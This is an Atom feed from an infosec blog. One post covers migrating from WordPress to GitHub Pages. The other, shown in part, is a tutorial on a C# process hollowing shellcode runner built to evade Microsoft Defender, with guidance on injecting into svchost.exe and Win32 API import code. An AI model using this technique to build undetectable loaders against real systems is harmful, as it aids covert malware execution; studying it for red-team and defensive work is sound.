<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://logan-elliott.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://logan-elliott.github.io/" rel="alternate" type="text/html" /><updated>2024-09-17T16:27:12+00:00</updated><id>https://logan-elliott.github.io/feed.xml</id><title type="html">Logan Elliott InfoSec</title><subtitle>InfoSec &amp; Ethical Hacking Blog</subtitle><entry><title type="html">WordPress to GitHub Pages: A New Beginning for My Website</title><link href="https://logan-elliott.github.io/2024/04/28/WordPress-to-GitHub-Pages-A-New-Beginning-for-My-Website.html" rel="alternate" type="text/html" title="WordPress to GitHub Pages: A New Beginning for My Website" /><published>2024-04-28T00:00:00+00:00</published><updated>2024-04-28T00:00:00+00:00</updated><id>https://logan-elliott.github.io/2024/04/28/WordPress-to-GitHub-Pages-A-New-Beginning-for-My-Website</id><content type="html" xml:base="https://logan-elliott.github.io/2024/04/28/WordPress-to-GitHub-Pages-A-New-Beginning-for-My-Website.html"><![CDATA[<p><strong>Table of Contents</strong></p>

<ul id="markdown-toc">
  <li><a href="#beginning-my-blogging-journey" id="markdown-toc-beginning-my-blogging-journey">Beginning My Blogging Journey</a></li>
  <li><a href="#wordpress-woes-the-problems-with-using-wordpress-for-blogging" id="markdown-toc-wordpress-woes-the-problems-with-using-wordpress-for-blogging">WordPress Woes: The Problems With Using WordPress for Blogging</a>    <ul>
      <li><a href="#wordpress-vulnerabilities" id="markdown-toc-wordpress-vulnerabilities">WordPress Vulnerabilities</a></li>
      <li><a href="#user-input-server-side-language-and-databases" id="markdown-toc-user-input-server-side-language-and-databases">User Input, Server-Side Language, and Databases</a></li>
      <li><a href="#need-for-speed-rocket" id="markdown-toc-need-for-speed-rocket">Need for Speed :rocket:</a></li>
      <li><a href="#costs-moneybag" id="markdown-toc-costs-moneybag">Costs :moneybag:</a></li>
      <li><a href="#the-silver-lining" id="markdown-toc-the-silver-lining">The Silver Lining</a></li>
    </ul>
  </li>
  <li><a href="#why-i-love-github-pages-with-jekyll-heart_eyes" id="markdown-toc-why-i-love-github-pages-with-jekyll-heart_eyes">Why I Love GitHub Pages With Jekyll :heart_eyes:</a>    <ul>
      <li><a href="#git-version-control" id="markdown-toc-git-version-control">Git Version Control</a></li>
      <li><a href="#markdown" id="markdown-toc-markdown">Markdown</a></li>
      <li><a href="#hacker-friendly" id="markdown-toc-hacker-friendly">Hacker Friendly</a></li>
      <li><a href="#easy-seo" id="markdown-toc-easy-seo">Easy SEO</a></li>
    </ul>
  </li>
  <li><a href="#the-future-of-this-blog" id="markdown-toc-the-future-of-this-blog">The Future of This Blog</a></li>
</ul>

<h2 id="beginning-my-blogging-journey">Beginning My Blogging Journey</h2>

<p>When I first started this blog back in 2019, there was a lot I didn’t know.</p>

<p>I did what most people in the field do when they start a blog: I read up on some guides, looked at other people’s blogs for inspiration, checked out some different documentation, weighed all of my options, and finally committed to a platform.</p>

<p>I decided to use WordPress as the CMS for my blog and SiteGround for my hosting and domain name.</p>

<p>At first, I was excited to jump in and begin building my very first blog. Then, as I started learning WordPress, I realized just how much more there was to manage and how time-consuming it would be. Nonetheless, I stuck with my decision; I was already committed and began writing some articles. As time passed, the issues became more and more apparent, and the cost of running my blog steadily increased.</p>

<p>So in this post, I will briefly go over why GitHub Pages will be the new home for my blog.</p>

<h2 id="wordpress-woes-the-problems-with-using-wordpress-for-blogging">WordPress Woes: The Problems With Using WordPress for Blogging</h2>

<h3 id="wordpress-vulnerabilities">WordPress Vulnerabilities</h3>

<p>If you have been in infosec for any length of time, you will inevitably have encountered WordPress vulnerabilities.</p>

<p>Whether in the CMS itself, plugins, themes, PHP version, database version, etc.</p>

<p>Lmao even the plugin I used to export my content from WordPress to Jekyll was affected by a CVSS 9.8 RCE back in 2017:</p>

<p><a href="https://wpscan.com/plugin/jekyll-exporter/" target="_blank" rel="noopener noreferrer">https://wpscan.com/plugin/jekyll-exporter/</a></p>

<p>So many different vulnerabilities plague WordPress that it quickly becomes a nightmare trying to ensure you keep your site safe.</p>

<p>Yes, even as an infosec professional, it is time-consuming, and I found that this increased the time I spent administering my site so much that I didn’t even want, nor had the time, to focus on creating content.</p>

<p>Not to mention, as an ethical hacker who has compromised a great deal of WordPress sites throughout my career, the paranoia was unbearable. :confounded:</p>

<p>Is it impossible to secure WordPress? No, it’s just that it is not worth the time or money you will spend to do it as an independent blogger.</p>

<h3 id="user-input-server-side-language-and-databases">User Input, Server-Side Language, and Databases</h3>

<p>If you know the basics of web security, the majority of problems tend to be traced back to user input in some way or another.</p>

<p>So, by switching to a static website using GitHub Pages with Jekyll, we pretty much get rid of any user input as well as eliminate a database and server-side language.</p>

<p>This provides a <strong>HUGE</strong> boost to both security and speed.</p>

<p>No more worrying about SQLi, PHP code injection, etc. :raised_hands:</p>

<h3 id="need-for-speed-rocket">Need for Speed :rocket:</h3>

<p>WordPress has its use cases, but in my opinion, it’s quite overkill for blogging.</p>

<p>Do you really need to be serving blog posts dynamically to each user who visits your site? Probably not…</p>

<p>Using a static site for blogging provides much better performance and speed.</p>

<p>Some of the main reasons are:</p>

<ul>
  <li>No server-side processing</li>
  <li>No database queries</li>
  <li>Easier caching</li>
</ul>

<h3 id="costs-moneybag">Costs :moneybag:</h3>

<p>Hosting a blog on GitHub Pages with Jekyll is literally <strong><em>FREE</em></strong>.</p>

<p>Yes, actually, it’s really free.</p>

<p>Before, I was paying around $1000 USD a year for hosting, domain, web application firewall (WAF), licensing, etc.</p>

<p>Yea, that’s <strong><em>way</em></strong> too expensive.</p>

<p>The only thing I will be paying for now is my domain, which is only $20 a year.</p>

<p>But if even that is out of your budget, GitHub Pages comes with a free domain for every user in the form of <code class="language-plaintext highlighter-rouge">&lt;username&gt;.github.io</code>.</p>

<p>Which probably works fine for most people.</p>

<h3 id="the-silver-lining">The Silver Lining</h3>

<p>Look, WordPress isn’t <em>ALL</em> bad okay.</p>

<p>It can be used to make amazing sites, and it has a wonderful community with plenty of great documentation.</p>

<p>While I would have saved a lot of money and a lot of worrying had I started my blog on GH Pages using Jekyll, to begin with, I don’t regret my decision to use WordPress for my first foray into blogging.</p>

<p>Yes, even with all my complaints!</p>

<p>Someone in this field made a post on Twitter a long time ago that has stuck with me to this day.</p>

<p>While I have forgotten who posted it or exactly how it was written, they basically said:</p>

<p>“There is no such thing as wasted time in infosec/IT.”</p>

<p>This is true regarding this field, as well as life in general.</p>

<p>My time spent with WordPress, all the headaches and problems I had to solve, taught me <strong><em>SO MUCH</em></strong> about WordPress security, web security, web development, etc.</p>

<p>Truthfully, I am an even better hacker/infosec professional because of it.</p>

<p>But it is time for a change; so long, WordPress, and thanks for the learning experience!</p>

<h2 id="why-i-love-github-pages-with-jekyll-heart_eyes">Why I Love GitHub Pages With Jekyll :heart_eyes:</h2>

<p>Besides all the explanations listed above, here are some extra reasons why GitHub Pages with Jekyll kicks ass.</p>

<h3 id="git-version-control">Git Version Control</h3>

<p>Git is one of the <em>BEST</em> things about using GH Pages with Jekyll.</p>

<p>Do you want to mess around with your site but are afraid you will mess everything up?</p>

<p>No worries, just discard changes since the last commit!</p>

<h3 id="markdown">Markdown</h3>

<p>All content is written in Markdown, which is super convenient since I already use Markdown every day to take all my notes, write documentation, etc.</p>

<p>Whatever Markdown alone can’t handle, you can simply use inline HTML to compensate for it!</p>

<p>Making content has never been more seamless.</p>

<h3 id="hacker-friendly">Hacker Friendly</h3>

<p>On top of already using Markdown, Jekyll has great documentation and allows plenty of customization.</p>

<p>You can really make your site your own with a bit of creativity and research.</p>

<p>I actually really enjoyed the process of customizing my Jekyll site/theme and learning more about how everything works by reading up on all the documentation and going through community posts.</p>

<p>Honestly, I feel the philosophy behind Jekyll and GitHub pages fits the hacker/learner mindset.</p>

<p>I plan to make a post soon sharing some of the tips and tricks I learned for customizing Jekyll with GH Pages to help some of you who may want to start your own blog. (If I get around to it, I get distracted easily.)</p>

<p>You can also use a different static site generator than Jekyll if you wish or pretty much do whatever you want with your GH Pages site by creating your own custom workflows with GitHub Actions.</p>

<h3 id="easy-seo">Easy SEO</h3>

<p>Personally, I hate dealing with SEO.</p>

<p>It’s obnoxious, and I really make this blog more for myself than to garner a bunch of traffic.</p>

<p>Jekyll makes SEO so easy it’s laughable.</p>

<p>As long as you use the <code class="language-plaintext highlighter-rouge">jekyll-seo-tag</code> plugin, your content will automatically be optimized for SEO.</p>

<p>If you care about SEO, the most you might have to do now is run your headline through an SEO ranker.</p>

<p>Beforehand, I needed plugins such as MonsterInsights or Yoast SEO while using WordPress.</p>

<p>This is in addition to the million other things you must check off a list just to ensure your site isn’t buried at the bottom of Google search results.</p>

<p>Seriously, look up WordPress SEO, and you will see what I mean.</p>

<h2 id="the-future-of-this-blog">The Future of This Blog</h2>

<p>I could go on for days listing all the reasons I love GitHub Pages with Jekyll, but these are just some of the highlights.</p>

<p>For the reasons listed above and more, this will be the new home for my website. :house:</p>

<p>Given this change, I’ve decided to view this as a fresh new start for my blog.</p>

<p>There are some things I will be doing differently with my blog going forward:</p>

<ol>
  <li>
    <p><strong>Write Code, Not Essays: Keeping Things Short &amp; Sweet</strong></p>
  </li>
  <li>
    <p><strong>Let Hacking = Content; Grammar = Optional</strong></p>
  </li>
  <li>
    <p><strong>Post More, Stress Less</strong></p>
  </li>
</ol>

<p>I have decided to transfer only my most recent <a href="/2023/10/08/its-all-fud-and-games-undetectable-process-hollowing-on-windows.html" target="_blank" rel="noopener noreferrer">post</a> from my previous WordPress blog to this new site.</p>

<p>Most of my old posts I don’t care enough to spend the time transferring them over and formattting them properly. Like I said, this is going to be a fresh new start for this blog.</p>

<p>I might make an archive of my old posts from WordPress and leave a link to it somewhere in the future, but that is a project for a different day.</p>

<p>If you made it all the way to the end, congratulations, you’re a real one. :tada: :100:</p>

<p>Have a cookie! :cookie:</p>]]></content><author><name>Logan Elliott</name></author><summary type="html"><![CDATA[In this post, I go over why GitHub Pages will be the new home for my blog, its many advantages, and why I kissed WordPress goodbye.]]></summary></entry><entry><title type="html">It’s All FUD and Games: Undetectable Process Hollowing on Windows</title><link href="https://logan-elliott.github.io/2023/10/08/its-all-fud-and-games-undetectable-process-hollowing-on-windows.html" rel="alternate" type="text/html" title="It’s All FUD and Games: Undetectable Process Hollowing on Windows" /><published>2023-10-08T05:46:11+00:00</published><updated>2023-10-08T05:46:11+00:00</updated><id>https://logan-elliott.github.io/2023/10/08/its-all-fud-and-games-undetectable-process-hollowing-on-windows</id><content type="html" xml:base="https://logan-elliott.github.io/2023/10/08/its-all-fud-and-games-undetectable-process-hollowing-on-windows.html"><![CDATA[<p><img src="/assets/images/fd99b01a-0d4c-4af2-a94c-73e814770c35.webp" alt="post-image" /></p>

<p><strong>Table of Contents</strong></p>

<ul id="markdown-toc">
  <li><a href="#charting-the-course-goals-and-objectives" id="markdown-toc-charting-the-course-goals-and-objectives">Charting the Course: Goals and Objectives</a></li>
  <li><a href="#what-is-process-hollowing" id="markdown-toc-what-is-process-hollowing">What is process hollowing?</a></li>
  <li><a href="#picking-a-process-to-target" id="markdown-toc-picking-a-process-to-target">Picking a Process to Target</a></li>
  <li><a href="#humble-beginnings-creating-the-initial-c-process-hollowing-shellcode-runner" id="markdown-toc-humble-beginnings-creating-the-initial-c-process-hollowing-shellcode-runner">Humble Beginnings: Creating the Initial C# Process Hollowing Shellcode Runner</a>    <ul>
      <li><a href="#a-brief-overview-of-how-this-works" id="markdown-toc-a-brief-overview-of-how-this-works">A Brief Overview of How This Works</a></li>
    </ul>
  </li>
  <li><a href="#the-journey-begins-encrypting-the-payload" id="markdown-toc-the-journey-begins-encrypting-the-payload">The Journey Begins: Encrypting the Payload</a></li>
  <li><a href="#sandbox-evasion" id="markdown-toc-sandbox-evasion">Sandbox Evasion</a>    <ul>
      <li><a href="#keeping-things-tidy-" id="markdown-toc-keeping-things-tidy-">Keeping Things Tidy 🧹</a></li>
      <li><a href="#implementing-the-emulation-evasion-code" id="markdown-toc-implementing-the-emulation-evasion-code">Implementing The Emulation Evasion Code</a></li>
      <li><a href="#persistence-is-key-" id="markdown-toc-persistence-is-key-">Persistence Is Key 🔑</a></li>
      <li><a href="#testing-the-emulator-bypasses" id="markdown-toc-testing-the-emulator-bypasses">Testing the Emulator Bypasses</a>        <ul>
          <li><a href="#filename-check-bypass" id="markdown-toc-filename-check-bypass">Filename Check Bypass</a></li>
          <li><a href="#non-emulated-apis-bypass" id="markdown-toc-non-emulated-apis-bypass">Non-Emulated APIs Bypass</a></li>
          <li><a href="#sleep-timer-bypass" id="markdown-toc-sleep-timer-bypass">Sleep Timer Bypass</a></li>
          <li><a href="#fill-memory-bypass" id="markdown-toc-fill-memory-bypass">Fill Memory Bypass</a></li>
          <li><a href="#many-iterations-bypass" id="markdown-toc-many-iterations-bypass">Many Iterations Bypass</a></li>
          <li><a href="#and-then-there-was-one" id="markdown-toc-and-then-there-was-one">And Then There Was One…​​​</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#cheating-my-way-to-fud-with-obfuscators" id="markdown-toc-cheating-my-way-to-fud-with-obfuscators">Cheating My Way To FUD With Obfuscators</a></li>
  <li><a href="#byof-bringing-my-own-functions-to-the-party" id="markdown-toc-byof-bringing-my-own-functions-to-the-party">BYOF: Bringing My Own Functions to the Party</a></li>
  <li><a href="#flying-too-close-to-the-sun-️" id="markdown-toc-flying-too-close-to-the-sun-️">Flying Too Close to the Sun ☀️</a>    <ul>
      <li><a href="#the-compromise" id="markdown-toc-the-compromise">The Compromise</a></li>
    </ul>
  </li>
  <li><a href="#defeating-defender-️️" id="markdown-toc-defeating-defender-️️">Defeating Defender ⚔️🛡️</a>    <ul>
      <li><a href="#setting-up-the-lab" id="markdown-toc-setting-up-the-lab">Setting Up the Lab</a></li>
      <li><a href="#fud-demo" id="markdown-toc-fud-demo">Fully Undetectable Process Hollowing on Windows 🥷</a>        <ul>
          <li><a href="#testing-at-runtime" id="markdown-toc-testing-at-runtime">Testing at Runtime</a></li>
          <li><a href="#fud-during-on-demand-scanning-with-shell" id="markdown-toc-fud-during-on-demand-scanning-with-shell">FUD During On-Demand Scanning With Shell</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a>    <ul>
      <li><a href="#main-takeaway" id="markdown-toc-main-takeaway">Main Takeaway</a></li>
    </ul>
  </li>
</ul>

<p><strong>Disclaimer:</strong> <strong>The resources provided are for educational and research purposes only</strong>. <strong>I am, in no way, responsible for any misuse of these resources. The resources shown here should only be used legally for ethical hacking.</strong></p>

<p>Over the last few months, I went through the rigorous “PEN-300: Advanced Evasion Techniques and Breaching Defenses” course by OffSec, and what a journey it has been!</p>

<p>On my OSEP journey, I learned a great deal. A recurring theme throughout the course was creating custom shellcode runners with advanced antivirus evasion.</p>

<p>One type of shellcode runner that I found exceptionally fascinating was a process hollowing shellcode runner we created in C#.</p>

<p>After all was said and done, and I was OSEP certified, I decided to take another look at this shellcode runner to find out exactly how low I could get the detection rate.</p>

<p>Little did I know how far I would go down this rabbit hole, but after much experimentation and caffeine, I was finally left with a fully-undetectable process hollowing shellcode runner.</p>

<p>Buckle up because this will be a long ride.</p>

<p>Let’s get into it…</p>

<h2 id="charting-the-course-goals-and-objectives">Charting the Course: Goals and Objectives</h2>

<p>The main goal I wanted to achieve with this research was creating a process hollowing shellcode runner that would be fully-undetectable by Microsoft Defender.</p>

<p>My shellcode runner needed to be undetected by the latest version of Microsoft Defender at scan-time, runtime, and during on-demand scanning with an active shell.</p>

<p>My secondary goal was to remain undetectable at scan-time against most antivirus vendors.</p>

<p>While I would have liked to be able to create a version that would be FUD to all antivirus, I scaled back my goals, as testing at runtime against the majority of antivirus would require more resources and time than I have as an independent researcher.</p>

<p>Additionally, the only two sites I’m aware of that scan at runtime without distribution seem to have been taken down:</p>

<p><strong>dyncheck.com</strong></p>

<p><strong>run4me.net</strong></p>

<p>That said, I settled on achieving FUD against Microsoft Defender because it is the most widely utilized antivirus.</p>

<details>
<summary><strong>TLDR</strong></summary>
<br />
<p>Using custom delegate functions is an effective way of obfuscating C# and other .NET based offensive tools.</p>

<p>This allows for the obfuscation of Win32 APIs that antivirus software will often flag.</p>

<p>While this technique has been documented before, I wanted to do it without the use of something like D/Invoke.</p>

<p>This technique dramatically reduced detection rates during testing, despite using P/Invoke DLL imports.</p>

<p>Using this tactic, I was able to create a process hollowing shellcode runner in C#, which is undetectable at scan-time and runtime against Microsoft Defender.</p>

</details>

<hr />

<p>You can find the shellcode runners I created on my GitHub:</p>

<p><a href="https://github.com/Logan-Elliott/HollowGhost">https://github.com/Logan-Elliott/HollowGhost</a></p>

<p><em>If you wanna skip to the PoC demonstration, click <a href="#fud-demo"><strong>here</strong></a></em></p>

<hr />

<h2 id="what-is-process-hollowing">What is process hollowing?</h2>

<blockquote>
  <p>Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.</p>

  <p>Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code class="language-plaintext highlighter-rouge">CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code class="language-plaintext highlighter-rouge">ZwUnmapViewOfSection</code> or <code class="language-plaintext highlighter-rouge">NtUnmapViewOfSection</code> before being written to, realigned to the injected code, and resumed via <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, <code class="language-plaintext highlighter-rouge">SetThreadContext</code>, then <code class="language-plaintext highlighter-rouge">ResumeThread</code> respectively.</p>

  <p>– <a href="https://attack.mitre.org/techniques/T1055/012/">https://attack.mitre.org/techniques/T1055/012/</a></p>
</blockquote>

<h2 id="picking-a-process-to-target">Picking a Process to Target</h2>

<p>When attempting process hollowing, it is crucial to first identify a suitable process to inject the shellcode into. This is important, as specific processes do not normally generate network traffic, such as <em>explorer.exe</em>. It is best to target a process that regularly generates network traffic so that the callback from the payload and the subsequent traffic between the attacker and victim machine will not be detected over the network. Luckily for us attackers, there is a native Windows process that is perfect for this attack: <em>SvcHost.exe</em>.</p>

<p>Since svchost.exe typically generates network traffic, network traffic generated by our payload should blend in over the network when originating from this process. However, there are some important considerations to observe when attempting to inject into svchost.exe.</p>

<p>Firstly, all svchost.exe processes on Windows run at <em>SYSTEM</em> integrity level by default. Therefore, we cannot inject into a svchost.exe process from a lower integrity level. Secondly, if we attempt to simply launch svchost.exe and try to inject our shellcode into it directly, the process will immediately terminate.</p>

<p>This is where our process hollowing trade-craft will come in handy, as we can create a shellcode runner that will launch svchost.exe in a suspended state and modify it before it begins to execute.</p>

<p>Thus allowing us to execute our payload without terminating the process.</p>

<h2 id="humble-beginnings-creating-the-initial-c-process-hollowing-shellcode-runner">Humble Beginnings: Creating the Initial C# Process Hollowing Shellcode Runner</h2>

<p>Now that the fundamentals are out of the way, I will explain how I created the first version of the shellcode runner and explain how it works.</p>

<p>To start, I created a new “Console App (.NET Framework)” project in Visual Studio 2022:</p>

<p><img src="/assets/images/vs-console-app-768x505.png" alt="vs-console-app" /></p>

<p>I have decided to name this project “HollowGhost” because it fits, and more importantly, it sounds cool. 😎</p>

<p><img src="/assets/images/create-cs-project-768x505.png" alt="create-cs-project" /></p>

<p>First, we must import the proper namespaces needed for this program.</p>

<p>Luckily, there are only two required for the initial version of the shellcode runner:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span> 
</code></pre></div></div>

<p>Ignore the <strong>Main</strong> method for now because we’ve got some construction to do. 👷</p>

<p>I first define several structs to be used with the Win32 API functions that will be called:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">HollowGhost</span>
<span class="p">{</span>
    <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">)]</span> <span class="c1">//Define how our new process window should be configured, this is from pinvoke.net</span>
        <span class="k">struct</span> <span class="nc">STARTUPINFO</span> <span class="c1">//This struct is provided to CreateProcess api for its lpStartupInfo parameter</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">cb</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpReserved</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpDesktop</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpTitle</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwX</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwY</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwXSize</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwYSize</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwXCountChars</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwYCountChars</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwFillAttribute</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int32</span> <span class="n">dwFlags</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int16</span> <span class="n">wShowWindow</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">Int16</span> <span class="n">cbReserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">lpReserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdInput</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdOutput</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hStdError</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">)]</span> <span class="c1">//Define the process information</span>
        <span class="k">internal</span> <span class="k">struct</span> <span class="nc">PROCESS_INFORMATION</span> <span class="c1">//This struct is provided to the the lpProcessInformation parameter in the CreateProcess API</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">hThread</span><span class="p">;</span>
            <span class="k">public</span> <span class="kt">int</span> <span class="n">dwProcessId</span><span class="p">;</span>
            <span class="k">public</span> <span class="kt">int</span> <span class="n">dwThreadId</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="nf">StructLayout</span><span class="p">(</span><span class="n">LayoutKind</span><span class="p">.</span><span class="n">Sequential</span><span class="p">)]</span> <span class="c1">//Define Process BASIC Information struct</span>
        <span class="k">internal</span> <span class="k">struct</span> <span class="nc">PROCESS_BASIC_INFORMATION</span> <span class="c1">//This struct will be passed to ZwQueryProcessInformation api in the 3rd argument/parameter</span>
        <span class="p">{</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved1</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">PebAddress</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved2</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">Reserved3</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">UniquePid</span><span class="p">;</span>
            <span class="k">public</span> <span class="n">IntPtr</span> <span class="n">MoreReserved</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span> 
</code></pre></div></div>

<p>Now that the structures are defined we use DLL imports for the Win32 APIs we will call, which are:</p>

<ul>
  <li>CreateProcess</li>
  <li>ZwQueryInformationProcess</li>
  <li>ReadProcessMemory</li>
  <li>WriteProcessMemory</li>
  <li>ResumeThread</li>
</ul>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">)]</span> <span class="c1">//Import CreateProcess API to create our suspended process</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="kt">string</span> <span class="n">lpApplicationName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCommandLine</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpProcessAttributes</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">bInheritHandles</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpEnvironment</span><span class="p">,</span> <span class="kt">string</span> <span class="n">lpCurrentDirectory</span><span class="p">,</span>
            <span class="p">[</span><span class="n">In</span><span class="p">]</span> <span class="k">ref</span> <span class="n">STARTUPINFO</span> <span class="n">lpStartupInfo</span><span class="p">,</span> <span class="k">out</span> <span class="n">PROCESS_INFORMATION</span> <span class="n">lpProcessInformation</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">,</span> <span class="n">CallingConvention</span> <span class="p">=</span> <span class="n">CallingConvention</span><span class="p">.</span><span class="n">StdCall</span><span class="p">)]</span> <span class="c1">//Import ZwQueryInformationProcess using pinvoke.net, this will allow us to discole the PEB and locate the entry point</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">int</span> <span class="nf">ZwQueryInformationProcess</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="kt">int</span> <span class="n">procInformationClass</span><span class="p">,</span> <span class="k">ref</span> <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">procInformation</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">ProcInfoLen</span><span class="p">,</span> <span class="k">ref</span> <span class="kt">uint</span> <span class="n">retlen</span><span class="p">);</span>
        <span class="c1">//This api is very low level the docs show NTSTATUS, this returns a hex value directly from the kernel</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span> <span class="c1">//We must supply five parameters for this function. They are a process handle (hProcess), the address to read from (lpBaseAddress), a buffer to copy the content into (lpBuffer), the number of bytes to read (nSize), and a variable to contain the number of bytes actually read (lpNumberOfBytesRead).</span>
        <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="p">[</span><span class="n">Out</span><span class="p">]</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="kt">int</span> <span class="n">dwSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesRead</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span> <span class="c1">//We must import WriteProcessMemory got this from pinvoke.net</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">WriteProcessMemory</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpBaseAddress</span><span class="p">,</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">Int32</span> <span class="n">nSize</span><span class="p">,</span> <span class="k">out</span> <span class="n">IntPtr</span> <span class="n">lpNumberOfBytesWritten</span><span class="p">);</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span> <span class="c1">//Import ResumeThread bc a already exists</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">uint</span> <span class="nf">ResumeThread</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hThread</span><span class="p">);</span> <span class="c1">//Easy API bc it only has 1 parameter, which is the handle of the thread </span>
</code></pre></div></div>

